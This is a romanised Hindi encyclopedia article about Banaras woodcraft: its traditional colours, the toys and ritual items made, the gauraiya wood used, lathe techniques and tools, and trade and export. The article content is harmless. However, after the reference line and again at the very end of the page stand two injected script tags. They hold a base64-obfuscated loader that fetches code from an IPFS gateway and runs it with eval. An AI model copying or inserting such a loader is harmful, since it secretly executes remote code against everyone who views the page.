बनारस की काष्ठ कला
banaras ya varanasi mean lak di ke khilaune tatha any kalatmak chijoan ne bhi khyati ko badhaya hai. is peshe mean lage kalakaroan ko is bat ka garv bhi hai ki unaki kala bhi varanasi ke reshami vasroan ke nirman ki kala ke saman hi samast vishv mean vandaniy hai. kahate haian ki banaras ki kashth-kala adhunik ya keval do-char sau varsh purani parampara nahian hai balki yah to 'ram rajy' se bhi pahale se chali a rahi hai. jab ram charoan bhaee bachche the to bhi ve inhian lak di ke bane khilaune se khelate the. shri ram khelavan sianh jo ki mastar kraphtsamen haian tatha is dhandhe ko inake poorvaj bahut hi prachin kal se karate a rahe haian, shri ram khelavan sianh ji bahut hi prayogavadi kalakar haian. sanh 1988 mean inhoanne supari ka ek kalatmak laimp banaya, jisake lie inhean sanh 1989 mean rajy sarakar se puraskrit kiya gaya.[1]
pahale banaras mean keval bachchoan ke khilaune tatha sindooradan banae jate the, lekin ajakal bahut hi tarah ki chijean banane lagi haian. isi tarah se pahale inake dvara nirmit vastuoan ki khapat sthaniy bazar khasakar vishvanath gali evan ganga ke vibhinn ghatoan par tirthayatriyoan dvara hota tha. parantu ajakal ye apane banae samanoan ko bharat ke sabhi hissoan evan pramukh shaharoan mean bhejate haian, jahaan inaki achchhi khasi maang tatha khapat hai. itana hi nahian, ajakal vishv ke bazar mean bhi inake dvara banae ge khilaune, sajavat ke saman evan ekyoopresar ke yantroan ki achchhi khasi maang hai. aur in samanoan ka dharalle se niryat kiya ja raha hai.
upayog mean ane vale vibhinn rang
paramparagat rup se kashi ke kashth kala se ju de kalakar lal, hara, kala, tatha nile evan mile jule rango ka prayog karate the. yah parampara bahut dinoan tak yathavat chalata rahi. balki bahut se log to aj bhi inhian rango ka prayog apane dvara banae ge upakaranoan/khilaunoan ko rangane ke lie karate haian. aj jab inake banaye gaye kalatmak vastuoan ki maang charoan or din pratidin badh rahi hai, ye bhi nit-roz prayog mean lage hue haian. isi prayog ke silasile mean inhoanne bahut any rangoan ka bhi prayog karana shuru kar diya hai. aj bazar mean jitane bhi rang upalabdh haian bahut se kashth kala nirmata un sabhi rangoan ka prayog kisi n kisi vastu ko banane ke lie avashy karate haian. upakaranoan ko rangane ke bad oopar se vibhinn chitroan se bhi susajjit kiya jata hai. susajjit karane ka kam prayah mahilayean karati haian. bahut se rangoan ke prayog ka ek karan yahaan ke kashth kala se nirmit kala tatv ka niryat bhi hai. videshoan mean ho rahe maang ke hisab se hi vibhinn rangoan ka prachalan badh raha hai aur yah gati abhi bhi jari hai.[1]
banane vali kalakritiyaan
pahale banaras ke kashth kalakar mukhy rup se bachchoan ke khilaune tatha sindooradan ityadi banate the parantu adyatan inaki sankhya evan vividhata mean atyadhik vriddhi huee hai. ajakal jo pramukh chijean banayi jati haian ve is prakar haian:
- siandooradan ya siandoor rakhane ki dibbi
- bachchoan ke khilaune
- chusani
- lattoo
- bachchoan ke khelane ke 'karanataki' pahale karanataki mean keval jaanta, glas, tatha thali hua karata tha. ajakal karanataki set ke antargat 27 aitam atean haian. inamean se mukhy aitam is prakar hai.
- thali
- jaanta
- ookhali
- musal
- glas (yah tin ka set hota hai. tinoan ek saij ke hote haian)
- lotiya (yah do ka set hota hai. donoan ek saij ke hote haian)
- beguna
- chulha
- chakki
- roti (yah das ka set hota hai. sabhi roti ka ek saij hota hai.)
- tava
- kalachhul
- phaimili planiang setah
yah bhi ek prakar ka khilauna hai jo paanch tatha das ka set hota hai. khilaune ko banakar use adami, bandar hathi ya kisi any chijoan se chitrit kiya jata hai. ek ke aandar ek is tarah se paanch ya das dala jata hai. bachche jitane jaldi ek khule set ko phir se taiyar kar lean unahean utana hi tej samajha jata hai. in vastuoan ka videshoan mean achchhi maang hai.
- vibhinn phal, phool, sabji ityadi jaise
- bachchoan ka palana/jhoola
- havaee jahaj
- ga di (relaga di, bas ityadi)
- chabhi
- laimp
- shraddh karm mean prasukt hone vale patr
- ekyoopresar se sambandhit upakaranah
- ekyoopresar yukt chabhi kianrag
- deh ko masaj karane vala yantr
- pair ko masaj karane vala ekyoopresar jisase thakavat svatah door ho jata hai.
- phooladan
- shataranj ki goti
- kairamabord ki goti
- ghanti
- eshatre
- banavati phooloan ka guchchha
- yajn ityadi mean prayukt hone vale yajnapatr
- vishesh sanskar jaise 'upanayan sanskar, vivah' adi mean prayukt hone vale yajnapatr
- batan
- kichan set
- gahane (abhooshan)
- kan ka
- hath ka
- baloan mean laganevala
- snanagrih mean prayukt hone vale saman
- sabunadan
- pidhi
- brash (sharir malane vala)[1]
kachche mal ki prapti
kashi ke kashth kalakar apane adhikaansh vastuoan evan khilaunoan ka nirman ek prakar ki jangali lak di jise 'gaureya' kaha jata hai, se banate haian. gaureya lak di n to bahut mahangi aur n hi kisi khas prayojan ki lak di hai. khilaunoan ke alava log is lak di ka prayog keval eeandhan (bhojan banane) ki lak di ke rup mean karate haian. gaureya lak di varanasi mean nahian hoti balki ise bihar ke palamoo evan any jagahoan ke jangaloan tatha uttar pradesh ke mirjapur adi jagahoan se mangaya jata hai. manhage khilaune tatha vaise kashthakala jinhean bahar khasakar videshoan mean niryat kiya jata hai, samanyat gaureya ki lak di se hi banae jate haian. jo chhote star ke kalakar haian ve lak di khudare ke bhav se kharidate haian jabaki b de log jinake pas achchhi khasi pooanji hai salabhar ke lie lak di ek sath kharidakar jama kar lete haian. jis jagah kachche mal athava lak di ko rakha jata hai use ye apani bhasha me 'tal' kahate hai. phir avashyakatanusar chhote chhote tuk doan mean kiya jata hai aur antat phir un tuk do se 'kashthakala' ke nirman ki prakriya praranbh ho jati hai.[1]
banane ki prakriya
sarvapratham lak di ko ichchhit akar mean kat liya jata hai. isake bad unhean kharadakar vibhinn vastuoan ka nirman kiya jata hai. kashth-kala ke nirman ke takanik ke adhar par banaras ke kashth-kalakaroan ko vargoan mean vibhakt kiya ja sakata hai:
- ve jo paramparagat rup se hath se 'kashth-kala' ka nirman karate haian. tatha
- ve 'kashth-kalakar' jo bijali ke motar se chalane vale kharad mashin ki sahayata se 'kashth-kala' ka nirman karate haian.
isake alave kuchh log lak di ke chhote-chhote khilaune, devi-devataoan ki moortiyaan karigari ke numaishi, sajavat ke saman ityadi bhi banate haian. inake parivar ke log lak di ke saanche bhi banate haian jisase dhalaee hoti hai. varanasi mean jabase dhalua dhatu ke shopis, medal, tamage adi banane lage haian, tabase ye dhali jane vali vastuoan ke saanche bhi banane lage haian. vaise adhikaansh 'kashth-kala' khasakar khilaune, bids (manake), ityadi ajakal kharad mashin par banaya jata hai. kharad mashin vale adhikaansh log 'khojava' ke 'kashmiriganj' mean base haian. jo 'kashth-kalakar' kharad par kam karate haian unhean 'kharadi' kaha jata hai. bijali ane ke pahale mashin hath se chalaee jati thi. mashin mean rassi lapetakar ek vyakti bari-bari se khianchata tha, jabaki doosara vyakti vastuoan ko kharadata tha.
banane mean prayukt upakaran
yoan to ajakal sarvadhik log bijali ke mashin se 'kashth-kala' ke nirman ki prakriya ko aanjam dete haian. lekin is prakriya mean bhi bahut se chhote-b de upakaran athava aujar ki zaroorat hoti hai. pramukh upakaran nimnalikhit haian:
- rukhana
- chaudhara
- bati
- patali
- chausi
- varma
- varmi
- basoola
- prakal
- gaunta gabarana
- chheda
- chhedi
- pharuee
- bagheli
- taraghan
- kharaiya
- chausa
- boriya
- rukhana se lak di ko patala kiya jata hai. chaudhara se chikana kiya jata hai. patali se bane hue vastu ko katakar alag kiya jata hai.
- varma, chheda, tatha chheri se kiya jata hai. bati se (barama se chhed karane ke bad) andar ka khudaee kiya jata hai.
- basoola ka prayog lak di ko chhilane ke lie kiya jata hai.
- akriti, tatha dijain banane ke lie prakal ki sahayata li jati hai.
- gaunta se kharad mashin me lage bache hue lak di ko hatane ke lie kiya jata hai.
- pharuee lohe ka sapat sa hota. isaka prayog aujar ko rakhakar 'kashth-kala' ko banane ke lie hota hai.
- taraghan pharuee ke lak di ke niche ka bes (adhar) hota hai.
- bagheli moti lak di se bana hota hai jo kuniya mashin tatha pharuee ke lie sahare ka kam karata hai. bagheli do hota hai:
- agala bagheli
- pichhala bagheli
- kharaiya paththar ka bana hota hai. isaka prayog aujar ke tej karane (pijane) ke lie kiya jata hai. agar aujar ki dhar ko aur adhik barik karana ho to boriya ka prayog kiya jata hai.[1]
nirmit mal ki khapat
pahale banaras mean bane khilaune tatha any chijoan ka khapat shahar mean hi tirthayatriyoan dvara hota tha. jo bhi tirthayatri varanasi mean ate the, jate samay bachchoan ke khilaune ityadi lekar jate the. phir jo log apane mritakoan ko kashi mean jalane ke lie late the tatha unaka shraddh karm mean prayukt hone vale kashth ke yajn patr-pidhi ityadi ki jarurat hoti thi. in samanoan ko bhi yahian kharida jata tha. dhire-dhire kashi ke khilaune tatha any 'kashth kalaoan' ka maang bharat ke any shaharoan mean hone laga. phir kuchh thok vyapariyoan ne inase taiyar mal thok mean lena shuru kiya tatha in mal ko bharat ke vibhinn shaharoan mean bechana praranbh kiya. jab videshi paryatak banaras ane lage to ve bhi is kala ki taraph sammohit hote chale ge. unamean se kuchh ne in logoan ke dvara banae ge samanoan ka videshoan mean bhi achchha khasa bazar sthapit kiya. kahate haian ki chooanki ye khilaune adi lak di se banae jate haian atah poornatah pradooshan rahit hote haian. kadachit in 'kalakritiyoan' ka yah gun bhi videshoan mean inaki achchhi maang paida kar di hai. aj sthiti yah hai ki keval varanasi mean 18 thok vyapari aise haian jo in kalakritiyoan ko bharat ke vibhinn hissoan me bhejate haian tatha vi ke bahut se deshoan mean niryat bhi karate haian.[1]
|
|
|
|
|
|
tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 1.4 1.5 mishr, d aau. kailash kumar. banaras ki kashth kala (hiandi) (ech.ti.em.el) ignca.nic.. abhigaman tithi: 22 navanbar, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>